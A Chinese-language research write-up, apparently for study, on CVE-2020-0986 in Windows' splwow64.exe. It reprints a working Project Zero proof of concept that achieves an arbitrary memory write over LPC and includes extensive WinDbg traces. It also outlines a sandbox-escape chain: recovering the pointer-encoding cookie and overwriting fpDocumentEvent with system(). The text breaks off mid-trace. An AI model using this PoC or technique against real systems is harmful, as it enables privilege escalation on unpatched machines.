前言

这篇文章描述如何利用CVE-2020-0986实现IE沙箱逃逸。

本文不会给出完整的利用代码，只分享一些漏洞利用思路。

2021年4月30日，安恒威胁情报中心发布了一篇 《深入分析 CVE-2021-26411 IE浏览器UAF漏洞》，里面详细分析了该漏洞的原理和利用过程，文章最后提到 “这种IE漏洞在IE11环境中需要配合一个提权漏洞才能实现代码执行，目前还未见到对这个漏洞配套使用的提权漏洞的披露”，所以本人以研究学习为目的，通过参考 @iamelli0t师傅在2020看雪SDC的演讲内容《逃逸IE浏览器沙箱：在野0Day漏洞利用复现》，复现了CVE-2020-0986的提权EXP，并配合CVE-2021-26411实现了IE 11沙箱逃逸。

漏洞概述

CVE-2021-26411已经在安恒的文章中已经做了详细描述，这里就不在介绍。

CVE-2020-0986是用户模式下打印机驱动主进程splwow64.exe存在任意指针取消引用漏洞，该漏洞允许使用任意参数在splwow64.exe进程空间内调用Memcpy函数，这实际上是在splwow64.exe进程空间内实现了一个任意地址写的原语。因为splwow64.exe是IE提权策略的白名单进程，所以可以利用IE的代码执行启动splwow64.exe进程，并通过发送特定LPC消息来操纵splwow64.exe进程内存，实现在splwow64.exe进程中执行任意代码并逃逸IE 11沙箱。

POC

本次分析用到的POC来自google project zero。

#include <iostream>; #include "windows.h"; #include "Shlwapi.h"; #include "winternl.h"; typedef struct _PORT_VIEW { UINT64 Length;
        HANDLE SectionHandle;
        UINT64 SectionOffset;
        UINT64 ViewSize;
        UCHAR* ViewBase;
        UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;

PORT_VIEW ClientView; typedef struct _PORT_MESSAGE_HEADER { USHORT DataSize;
        USHORT MessageSize;
        USHORT MessageType;
        USHORT VirtualRangesOffset;
        CLIENT_ID ClientId;
        UINT64 MessageId;
        UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER; typedef struct _PORT_MESSAGE { PORT_MESSAGE_HEADER MessageHeader;
        UINT64 MsgSendLen;
        UINT64 PtrMsgSend;
        UINT64 MsgReplyLen;
        UINT64 PtrMsgReply;
        UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;

PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;

NTSTATUS(NTAPI* NtOpenProcessToken)(
        _In_ HANDLE ProcessHandle,
        _In_ ACCESS_MASK DesiredAccess,
        _Out_ PHANDLE TokenHandle
        );

NTSTATUS(NTAPI* ZwQueryInformationToken)(
        _In_ HANDLE TokenHandle,
        _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
        _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
        _In_ ULONG TokenInformationLength,
        _Out_ PULONG ReturnLength
        );

NTSTATUS(NTAPI* NtCreateSection)(
        PHANDLE            SectionHandle,
        ACCESS_MASK        DesiredAccess,
        POBJECT_ATTRIBUTES ObjectAttributes,
        PLARGE_INTEGER     MaximumSize,
        ULONG              SectionPageProtection,
        ULONG              AllocationAttributes,
        HANDLE             FileHandle
        );

NTSTATUS(NTAPI* ZwSecureConnectPort)(
        _Out_ PHANDLE PortHandle,
        _In_ PUNICODE_STRING PortName,
        _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
        _Inout_opt_ PPORT_VIEW ClientView,
        _In_opt_ PSID Sid,
        _Inout_opt_ PVOID ServerView,
        _Out_opt_ PULONG MaxMessageLength,
        _Inout_opt_ PVOID ConnectionInformation,
        _Inout_opt_ PULONG ConnectionInformationLength
        );

NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
        IN HANDLE PortHandle,
        IN PPORT_MESSAGE LpcRequest,
        OUT PPORT_MESSAGE LpcReply
        ); int Init() {
        HMODULE ntdll = GetModuleHandleA("ntdll");

        NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken"); if (NtOpenProcessToken == NULL)
        { return 0;
        }

        ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken"); if (ZwQueryInformationToken == NULL)
        { return 0;
        }

        NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection"); if (NtCreateSection == NULL)
        { return 0;
        }

        ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort"); if (ZwSecureConnectPort == NULL)
        { return 0;
        }

        NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort"); if (NtRequestWaitReplyPort == NULL)
        { return 0;
        } return 1;
} int GetPortName(PUNICODE_STRING DestinationString) { void* tokenHandle;
        DWORD sessionId;
        ULONG length; int tokenInformation[16];
        WCHAR dst[256]; memset(tokenInformation, 0, sizeof(tokenInformation));
        ProcessIdToSessionId(GetCurrentProcessId(), &sessionId); memset(dst, 0, sizeof(dst)); if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
                || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))
        { return 0;
        }

        wsprintfW(
                dst, L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
                sessionId,
                tokenInformation[2],
                tokenInformation[3], 0x2000); printf("name: %ls\n", dst);
        RtlInitUnicodeString(DestinationString, dst); return 1;
} HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName) {
        HANDLE sectionHandle = 0;
        HANDLE portHandle = 0; union _LARGE_INTEGER maximumSize;
        maximumSize.QuadPart = 0x20000; if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) { return 0;
        } if (sectionHandle)
        {
                ClientView.SectionHandle = sectionHandle;
                ClientView.Length = 0x30;
                ClientView.ViewSize = 0x9000; int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL); if(retval){ return 0;
                }
        } return portHandle;
} PVOID PrepareMessage() { memset(&LpcRequest, 0, sizeof(LpcRequest));
        LpcRequest.MessageHeader.DataSize = 0x20;
        LpcRequest.MessageHeader.MessageSize = 0x48;

        LpcRequest.MsgSendLen = 0x88;
        LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
        LpcRequest.MsgReplyLen = 0x10;
        LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88; memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));

        *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event) *((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle *((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 2nd arg to FindPrinterHandle *((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent *((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy *((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy *((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;
        *((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;
        *((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;
        *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
        *((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810; return ClientView.ViewBase;
} void DebugWrite() { printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);
} bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size) {
        *((UINT64*)ClientView.ViewBase + 0xB) = offset;
        *((UINT64*)ClientView.ViewBase + 0x10A) = size << 48; memcpy(ClientView.ViewBase + 0x810, buf, size);

        DebugWrite(); return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;

} int main() {

        Init();
        CHAR Path[0x100];
        GetCurrentDirectoryA(sizeof(Path), Path);
        PathAppendA(Path, "CreateDC.exe"); if (!(PathFileExistsA(Path)))
        { return 0;
        }
        WinExec(Path, 0);

        CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);

        UNICODE_STRING portName; if (!GetPortName(&portName))
        { return 0;
        }

        HANDLE portHandle = CreatePortSharedBuffer(&portName); if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
        { return 0;
        }

        PrepareMessage(); printf("Press [Enter] to continue . . .");
        fflush(stdout);
        getchar();
        UINT64 value = 0; if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))
        { return 0;
        } printf("Done\n"); return 0;
}

POC分析

一个简单的LPC通信，有以下几个步骤：

Server指定一个端口名，并创建端口
Server监听创建的端口
Client连接Server创建的端口
Server接受Client连接请求并完成连接
Client发送请求报文，并等待Server响应
Server接受请求报文并响应

在LPC通信过程中，如果报文较大，通信双方就会采用共享内存区的方式交换数据，但会通过报文进行协调同步。

LPC通信流程如下图所示（图片源自 @iamelli0t 师傅在看雪SDC的演讲PPT ）

更多LPC相关内容，请自行查阅，本文不做详述。

目前已知的是通过NtRequestWaitReplyPort发送LPC消息到splwow64.exe进程后，由splwow64!TLPCMgr::ProcessRequest对LPC消息进行处理，所以对splwow64!TLPCMgr::ProcessRequest下断。

0:009> bu splwow64!TLPCMgr::ProcessRequest 0:009> bu gdi32full!GdiPrinterThunk 0:009> g Breakpoint 0 hit splwow64!TLPCMgr::ProcessRequest: 00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90 0:007> r rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0
rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0
rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478
 r8=000000000279f328  r9=0000000000b6a478 r10=0000000000000000
r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c
r14=0000000000d78778 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246 splwow64!TLPCMgr::ProcessRequest: 00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90

rdx=0000000000d7cac0 即为LpcRequest

IDA反汇编 TLPCMgr::ProcessRequest

windbg调试上图所示代码

0:007>  splwow64!TLPCMgr::ProcessRequest+0x6e: 00007ff7`0bf1771a 66833f20        cmp     word ptr [rdi],20h ds:00000000`00d7cac0=0020 0:007>  splwow64!TLPCMgr::ProcessRequest+0x72: 00007ff7`0bf1771e 418bef          mov     ebp,r15d 0:007> p splwow64!TLPCMgr::ProcessRequest+0x75: 00007ff7`0bf17721 418bdf          mov     ebx,r15d 0:007>  splwow64!TLPCMgr::ProcessRequest+0x78: 00007ff7`0bf17724 41be57000000    mov     r14d,57h 0:007>  splwow64!TLPCMgr::ProcessRequest+0x7e: 00007ff7`0bf1772a 7523            jne     splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0] 0:007>  splwow64!TLPCMgr::ProcessRequest+0x80: 00007ff7`0bf1772c 4d397d48        cmp     qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //判断GDI32!GdiPrinterThunk指针 0:007>  splwow64!TLPCMgr::ProcessRequest+0x84: 00007ff7`0bf17730 741d            je      splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0] 0:007> p splwow64!TLPCMgr::ProcessRequest+0x86: 00007ff7`0bf17732 8b5f28          mov     ebx,dword ptr [rdi+28h] ds:00000000`00d7cae8=00000088 0:007> p splwow64!TLPCMgr::ProcessRequest+0x89: 00007ff7`0bf17735 8d43f0          lea     eax,[rbx-10h] 0:007> p splwow64!TLPCMgr::ProcessRequest+0x8c: 00007ff7`0bf17738 3defff0f00      cmp     eax,0FFFEFh 0:007> r eax eax=78 0:007> p splwow64!TLPCMgr::ProcessRequest+0x91: 00007ff7`0bf1773d 0f8737030000    ja      splwow64!TLPCMgr::ProcessRequest+0x3ce (00007ff7`0bf17a7a) [br=0] 0:007> p splwow64!TLPCMgr::ProcessRequest+0x97: 00007ff7`0bf17743 8bcb            mov     ecx,ebx 0:007> p splwow64!TLPCMgr::ProcessRequest+0x99: 00007ff7`0bf17745 e8de430000      call    splwow64!operator new[] (00007ff7`0bf1bb28) 0:007> p splwow64!TLPCMgr::ProcessRequest+0x9e: 00007ff7`0bf1774a 488bf0          mov     rsi,rax 0:007> r rax=0000000000d785e0 rbx=0000000000000088 rcx=000000007ffe0380
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000d7cac0
rip=00007ff70bf1774a rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000001 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202 splwow64!TLPCMgr::ProcessRequest+0x9e: 00007ff7`0bf1774a 488bf0          mov     rsi,rax

上面的代码主要做了三件事，先判断LpcRequest.MessageHeader.DataSize是否为0x20，接着判断GDI32!GdiPrinterThunk函数指针是否存在，如果都存在，取LpcRequest.MsgSendLen的值0x88给EBX，然后调用splwow64!operator new 在splwow64.exe进程空间内分配了一块0x88大小的内存空间，接下来我们称这块空间为InputBuffer。

继续看IDA的反汇编代码

首先进行了复制操作，从LPC通信使用的共享内存复制数据到InPutBuffer中，然后取出LpcRequest.PtrMsgReply 的值给v9，接着取出LpcRequest.MsgReplyLen的值给v10，最后取出 LpcRequest.MessageHeader.MessageType的值给 v11。接下来判断v11、v12的值，这里对v11、v12值的判断结果会影响程序流程是否进入存在漏洞的函数。因为v11和v12的值都是从LpcRequest中得到的，所以我们可以通过控制LpcRequest，让程序按照我们预期的流程走，也就是进入gdi32!GdiPrinterThunk函数，在gdi32!GdiPrinterThunk中又调了gdi32full!GdiPrinterThunk函数。

windbg调试上面这块代码

0:007> p splwow64!TLPCMgr::ProcessRequest+0xa1: 00007ff7`0bf1774d eb30            jmp     splwow64!TLPCMgr::ProcessRequest+0xd3 (00007ff7`0bf1777f) 0:007>  splwow64!TLPCMgr::ProcessRequest+0xd3: 00007ff7`0bf1777f 4885f6          test    rsi,rsi 0:007>  splwow64!TLPCMgr::ProcessRequest+0xd6: 00007ff7`0bf17782 0f84eb020000    je      splwow64!TLPCMgr::ProcessRequest+0x3c7 (00007ff7`0bf17a73) [br=0] 0:007>  splwow64!TLPCMgr::ProcessRequest+0xdc: 00007ff7`0bf17788 4c8b4730        mov     r8,qword ptr [rdi+30h] ds:00000000`00d7caf0=0000000000d20000 0:007>  splwow64!TLPCMgr::ProcessRequest+0xe0: 00007ff7`0bf1778c 488bce          mov     rcx,rsi 0:007>  splwow64!TLPCMgr::ProcessRequest+0xe3: 00007ff7`0bf1778f 8bd3            mov     edx,ebx 0:007>  splwow64!TLPCMgr::ProcessRequest+0xe5: 00007ff7`0bf17791 448bcb          mov     r9d,ebx 0:007>  splwow64!TLPCMgr::ProcessRequest+0xe8: 00007ff7`0bf17794 ff1506720000    call    qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)} 0:007> r rax=0000000000d785e0 rbx=0000000000000088 rcx=0000000000d785e0
rdx=0000000000000088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf17794 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000d20000  r9=0000000000000088 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202 splwow64!TLPCMgr::ProcessRequest+0xe8: 00007ff7`0bf17794 ff1506720000    call    qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}

rcx、rdx、r8、r9分别为memcpy_s的四个参数，rcx指向InputBuffer，rdx和r9为size。

r8指向用于LPC通信的共享内存

复制到InputBuffer的数据

0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee: 00007ff7`0bf1779a 4c8b6740        mov     r12,qword ptr [rdi+40h] ds:00000000`00d7cb00=0000000000d20088 0:007> dq rcx l11 00000000`00d785e0  0000006d`00000000 00000000`00000000
00000000`00d785f0 00000000`00000000 00000000`00d20100 00000000`00d78600  00000005`00000005 00000000`00000000
00000000`00d78610 00000000`00000000 00000020`00000001 00000000`00d78620  00000000`00000000 00000000`00000000
00000000`00d78630 00000000`00d20800 41414141`41414141 00000000`00d78640  00000000`00000000 00000000`00000000
00000000`00d78650 00000000`00000000 00000000`00000000 00000000`00d78660  00000000`00000000

接着给v9，v10，v11赋值

0:007> r rdi rdi=0000000000d7cac0 //PORT_MESSAGE 0:007> p splwow64!TLPCMgr::ProcessRequest+0xee: 00007ff7`0bf1779a 4c8b6740        mov     r12,qword ptr [rdi+40h] 
//r12 为 V9 = PtrMsgReply ds:00000000`00d7cb00=0000000000d20088 0:007> p splwow64!TLPCMgr::ProcessRequest+0xf2: 00007ff7`0bf1779e 448b7738        mov     r14d,dword ptr [rdi+38h]
//r14d 为 v10 = MsgReplyLen ds:00000000`00d7caf8=00000010 0:007> p splwow64!TLPCMgr::ProcessRequest+0xf6: 00007ff7`0bf177a2 0fb75f04        movzx   ebx,word ptr [rdi+4] ds:00000000`00d7cac4=0001
//ebx 为 v11 = MessageType 0:007> p splwow64!TLPCMgr::ProcessRequest+0xfa: 00007ff7`0bf177a6 488b0d9ba80000  mov     rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)} 0:007> r rax=0000000000000000 rbx=0000000000000001 rcx=0000000000d785e0
rdx=fffffffffffa7a20 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf177a6 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202 splwow64!TLPCMgr::ProcessRequest+0xfa: 00007ff7`0bf177a6 488b0d9ba80000  mov     rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}

经过一系列的判断后，程序最终进入了gdi32full!GdiPrinterThunk，且传入的三个参数为：InputBuffer、PtrMsgReply和MsgReplyLen。

0:007> p splwow64!TLPCMgr::ProcessRequest+0x1ec: 00007ff7`0bf17898 458bc6          mov     r8d,r14d 0:007> p splwow64!TLPCMgr::ProcessRequest+0x1ef: 00007ff7`0bf1789b 498bd4          mov     rdx,r12 0:007> p splwow64!TLPCMgr::ProcessRequest+0x1f2: 00007ff7`0bf1789e 488bce          mov     rcx,rsi 0:007> p splwow64!TLPCMgr::ProcessRequest+0x1f5: 00007ff7`0bf178a1 ff15e9720000    call    qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)} 0:007> r rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf178a1 rsp=000000000279f2e0 rbp=0000000000000000
 r8=0000000000000010  r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246 splwow64!TLPCMgr::ProcessRequest+0x1f5: 00007ff7`0bf178a1 ff15e9720000    call    qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
.................................................. 0:007> p ntdll!LdrpDispatchUserCallTarget+0x7: 00007ffa`c946c597 4c8bd0          mov     r10,rax 0:007> ln rax Browse module
Clear breakpoint 2

(00007ffa`c8e48eb0)   GDI32!GdiPrinterThunk   |  (00007ffa`c8e48ebc)   GDI32!_imp_load_GdiProcessSetup
Exact matches: 0:007> p ntdll!LdrpDispatchUserCallTarget+0xa: 00007ffa`c946c59a 49c1ea09        shr     r10,9 0:007>  ntdll!LdrpDispatchUserCallTarget+0xe: 00007ffa`c946c59e 4f8b1cd3        mov     r11,qword ptr [r11+r10*8] ds:00007ff5`d81a9238=8888888888888888 0:007>  ntdll!LdrpDispatchUserCallTarget+0x12: 00007ffa`c946c5a2 4c8bd0          mov     r10,rax 0:007> ln rax Browse module
Clear breakpoint 2

(00007ffa`c8e48eb0)   GDI32!GdiPrinterThunk   |  (00007ffa`c8e48ebc)   GDI32!_imp_load_GdiProcessSetup
Exact matches:
............................................. 0:007> p Breakpoint 1 hit gdi32full!GdiPrinterThunk: 00007ffa`c71a59b0 48895c2410      mov     qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0 0:007> r rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ffac71a59b0 rsp=000000000279f2d8 rbp=0000000000000000
 r8=0000000000000010  r9=0000000000000000 r10=00000fff591c91d7
r11=8888888888888888 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei pl nz na po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207 gdi32full!GdiPrinterThunk: 00007ffa`c71a59b0 48895c2410      mov     qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0

进入gdi32full!GdiPrinterThunk函数后，先获取索引值，因为不同的索引值，会被不同的函数处理。索引值为位于InputBuffer+0x4处的DWORD。

下面是我们期望进入的处理函数，可以看出，当Fun_Index为0x6D，就可以进入我们期望的代码块。

在进入触发漏洞的代码Memcpy前，还要经过4个if判断和一个Decode函数。

这4个if判断的值，都可以被我们直接或间接控制，所以程序最终会来到漏洞函数Memcpy，且三个参数：目的地址、源地址、大小都可以被我们控制，所以这里实现了一个在splwow64进程空间内的 Write What Where Primitive 。Decode函数的作用是对Encode的DocumentEvent指针进行解码，也就是对fpDocumentEvent指针进行解码，从而得到真实的函数指针。

0:007>  gdi32full!GdiPrinterThunk+0x2ac: 00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=7ec611be0000fff5 0:007> p gdi32full!GdiPrinterThunk+0x2b3: 00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)} 0:007> p gdi32full!GdiPrinterThunk+0x2ba: 00007ffa`c71a5c6a 0f1f440000      nop     dword ptr [rax+rax] 0:007> ln rax Browse module
Set bu breakpoint

(00007ffa`b1328f80)   WINSPOOL!DocumentEvent   |  (00007ffa`b132939c)   WINSPOOL!CallDrvDocumentEvent
Exact matches:
    WINSPOOL!DocumentEvent (void) 0:007>  gdi32full!GdiPrinterThunk+0x1fd4a: 00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33) 0:007> r rax=0000000000d20800 rbx=0000000000d20160 rcx=4141414141414141
rdx=0000000000d20810 rsi=0000000000d20088 rdi=0000000000d785e0
rip=00007ffac71c56fa rsp=000000000279f210 rbp=000000000279f279
 r8=0000000000000008  r9=0000000000000100 r10=00000fff5920c6c0
r11=000000000279f0e0 r12=0000000000000000 r13=0000000000000001
r14=0000000000000010 r15=0000000000000000
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297 gdi32full!GdiPrinterThunk+0x1fd4a: 00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)

漏洞利用

通过上面对POC的分析，我们得到了如下信息。

传入splwow64.exe进程的LPC消息，我们可以自由构造，所以我们可以控制程序流程每次都走到DocumentEvent函数。
 我们拥有一个任意地址写的原语。

参考卡巴斯基的分析文章，我们知道fpDocumentEvent函数指针是被编码过的值，且每一次编码得到的值都不同，这取决于当前的Cookie值。

__int64 __fastcall RtlEncodePointer(__int64 a1){  __int64 v1; // rax  __int64 v2; // rbx  unsigned int v4; // eax  unsigned int v5; // [rsp+48h] [rbp+10h]  v1 = (unsigned int)`RtlpGetCookieValue'::`2'::CookieValue;  v2 = a1;  if ( !`RtlpGetCookieValue'::`2'::CookieValue )  {    v4 = NtQueryInformationProcess(-1i64, 36i64, &v5);    if ( (v4 & 0x80000000) != 0 )      RtlRaiseStatus(v4);    v1 = v5;    `RtlpGetCookieValue'::`2'::CookieValue = v5;  }  return __ROR8__(v2 ^ v1, v1 & 0x3F);}

在splwow64.exe中，每一次执行DocumentEvent时，都先将fpDocumentEvent进行解码，从而得到原始的DocumentEvent函数指针，然后再进行调用，而fpDocumentEvent位于splwow64.exe进程的.data 段，也就是说fpDocumentEvent指针的偏移是确定的。

同时我们知道一个事实， Windows 系统上的地址空间布局随机化是基于引导的，也就说当系统启动后，系统DLL的基址就不会改变，直到下次重启系统，所以在EXP中通过手动加载gdi32full.dll，就可以知道当前fpDocumentEvent指针的实际地址。

那么漏洞利用的思路就是，利用任意地址写的原语，将我们想要调用的函数指针，例如system函数指针，替换fpDocumentEvent函数指针，因为DocumentEvent函数在特定索引值的情况下，每次都会被调用，所以当我们替换成功后，实际调用的函数即为system。

漏洞利用简述步骤：

在调试环境下，确定fpDocumentEvent函数指针偏移，这里称为fpDocOffset。
在漏洞利用程序中，手动加载gdi32full.dll和winspool.drv，分别获得gdi32full.dll的BaseAddress和DocumentEvent函数指针。
发送LPC消息到splwow64.exe，获得BaseAddress+fpDocOffset地址处的fpDocumentEvent函数指针。

目前我们已经得到了fpDocumentEvent函数指针和DocumentEvent函数指针，也就是编码前后的函数指针，所以我们可以计算出编码所用的Cookie值，计算公式如下。(源自 @iamelli0t 师傅在看雪SDC的演讲PPT )

UINT64 CalcCookie(UINT64 encodePtr, UINT64 decodePtr){    UINT cookie = 0; for (UINT i = 0; i <= 0x3f; i++)    {        cookie = (UINT)decodePtr ^ __ROL8__(encodePtr, i & 0x3F); if ((cookie & 0x3f) == i && __ROR8__(decodePtr ^ cookie, cookie & 0x3f) == encodePtr) { break;        }    } return cookie;}

通过第四步得到的Cookie值，编码system函数指针，这里我们称编码后的值为fpSystem，编码公式如下。（源自卡巴斯基博客）
```
UINT64 encodePtr = __ROR8__(cookie ^ (UINT64)systemAdd, cookie & 0x3f);
```
继续发送LPC消息，通过共享内存，将fpSystem函数指针填充到BaseAddress+fpDocOffset地址处。
最后再发送一次特定索引值的LPC消息，同时在LPC消息中包含system函数的参数。

下面我们通过调试看看具体的流程

从splwow64.exe进程空间获取fpDocumentEvent函数指针到共享内存

0:006> gdi32full!GdiPrinterThunk+0x2ac:00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa3f668d740000:006> ln 00007ffa`c72e31e8Browse moduleSet bu breakpoint(00007ffa`c72e31e8)   gdi32full!fpDocumentEvent   |  (00007ffa`c72e31f0)   gdi32full!fpQuerySpoolModeExact matches:0:006> pgdi32full!GdiPrinterThunk+0x2b3:00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}..................................................................................................................0:006> gdi32full!GdiPrinterThunk+0x1fd4a:00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)0:006> rrax=0000000000a20800 rbx=0000000000a20160 rcx=0000000000a20060rdx=00007ffac72e31e8 rsi=0000000000a20088 rdi=0000000000cdca80rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9 r8=0000000000000008 r9=0000000000000100 